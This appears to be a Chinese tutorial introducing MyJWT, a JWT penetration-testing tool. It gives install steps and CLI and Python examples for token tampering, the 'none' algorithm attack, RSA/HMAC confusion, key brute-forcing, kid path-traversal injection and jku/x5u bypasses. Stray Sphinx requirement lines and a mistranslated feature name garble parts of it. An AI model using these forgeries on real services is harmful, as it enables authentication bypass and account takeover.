MyJWT是一款针对JSON Web Token(JWT)的安全检测工具,该工具适用于渗透测试人员、CTF 玩家或开发人员,可以快速针对JWT执行安全扫描与检测。
1、支持将新的 jwt 复制到剪贴板;
2、用户界面;
3、颜色高亮输出;
4、修改 jwt (header/Payload);
5、无漏洞;
6、RSA/HMAC 混淆;
7、使用密钥对 jwt 进行签名;
8、暴力破解密钥;
9、使用正则表达式来猜测密钥以破解 jwt;
10、Kid注入;
11、Jku 旁路;
12、X5u 旁路;
recommonmark==0.7.1
Sphinx==7.3.7
sphinx-markdown-tables==0.0.17
sphinx-rtd-theme==2.0.0
由于该工具基于Python 3开发,因此我们首先需要在本地设备上安装并配置好最新版本的Python 3环境。
源码安装
广大研究人员可以直接使用下列命令将该项目源码克隆至本地:
git clone https://github.com/mBouamama/MyJWT.git
然后切换到项目目录中,使用pip命令和项目提供的requirements.txt安装该工具所需的其他依赖组件:
cd ./MyJWT
pip install -r requirements.txt
PyPI安装
pip install myjwt
Docker运行
docker run -it docker.pkg.github.com/mbouamama/myjwt/myjwt:latest myjwt
# 加载字典文件所在卷
docker run -v $(pwd)/wordlist:/home/wordlist/ -it docker.pkg.github.com/mbouamama/myjwt/myjwt:latest myjwt
# Windows
docker run -v %CD%/wordlist:/home/wordlist/ -it docker.pkg.github.com/mbouamama/myjwt/myjwt:latest myjwt
BlackArch安装
pacman -S myjwt
工具使用 查看工具帮助选项:
python MyJWT/myjwt_cli.py --help
工具运行演示 修改Jwt
命令行界面:
myjwt YOUR_JWT --add-payload "username=admin" --add-header "refresh=false"
代码:
from myjwt.modify_jwt import add_header, change_payload
from myjwt.utils import jwt_to_json, SIGNATURE, encode_jwt
jwt_json = jwt_to_json(jwt)
jwt_json = add_header(jwt_json, {"kid": "001"})
jwt_json = change_payload(jwt_json, {"username": "admin"})
jwt = encode_jwt(jwt_json) + "." + jwt_json[SIGNATURE]
无漏洞
命令行界面:
myjwt YOUR_JWT --none-vulnerability
代码:
from myjwt.utils import jwt_to_json, SIGNATURE, encode_jwt
from myjwt.vulnerabilities import none_vulnerability
jwt_json = jwt_to_json(jwt)
jwt = none_vulnerability(encode_jwt(jwt_json) + "." + jwt_json[SIGNATURE])
签名密钥
命令行界面:
myjwt YOUR_JWT --sign YOUR_KEY
代码:
from myjwt.modify_jwt import signature
from myjwt.utils import jwt_to_json
key = "test"
jwt = signature(jwt_to_json(jwt), key)
暴力破解
命令行界面:
myjwt YOUR_JWT --bruteforce PATH
代码:
from myjwt.vulnerabilities import bruteforce_wordlist
wordlist = "../../wordlist/common_pass.txt"
key = bruteforce_wordlist(jwt, wordlist)
破解
命令行界面:
myjwt YOUR_JWT --crack REGEX
RSA/HMAC 混淆
命令行界面:
myjwt YOUR_JWT --hmac FILE
代码:
from myjwt.vulnerabilities import confusion_rsa_hmac
file = "public.pem"
jwt = confusion_rsa_hmac(jwt, file)
Kid注入
命令行界面:
myjwt YOUR_JWT --kid INJECTION
代码:
from myjwt.modify_jwt import signature
from myjwt.utils import jwt_to_json
from myjwt.vulnerabilities import inject_sql_kid
injection = "../../../../../../dev/null"
sign = ""
jwt = inject_sql_kid(jwt, injection)
jwt = signature(jwt_to_json(jwt), sign)
发送新 Jwt 到 url
命令行界面:
myjwt YOUR_JWT -u YOUR_URL -c "jwt=MY_JWT" --non-vulnerability --add-payload "username=admin"
Jku
命令行界面:
myjwt YOUR_JWT --jku YOUR_URL
代码:
from myjwt.vulnerabilities import jku_vulnerability
new_jwt = jku_vulnerability(jwt=jwt, url="MYPUBLIC_IP")
print(jwt)
X5U
命令行界面:
myjwt YOUR_JWT --x5u YOUR_URL
代码:
from myjwt.vulnerabilities import x5u_vulnerability
newJwt = x5u_vulnerability(jwt=jwt, url="MYPUBLIC_IP")
print(jwt)
许可证协议 本项目的开发与发布遵循MIT开源许可协议。
项目地址 MyJWT:
https://github.com/tyki6/MyJWT
【 原文始发于微信公众号(FreeBuf):如何使用MyJWT测试你的JWT是否存在安全问题
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论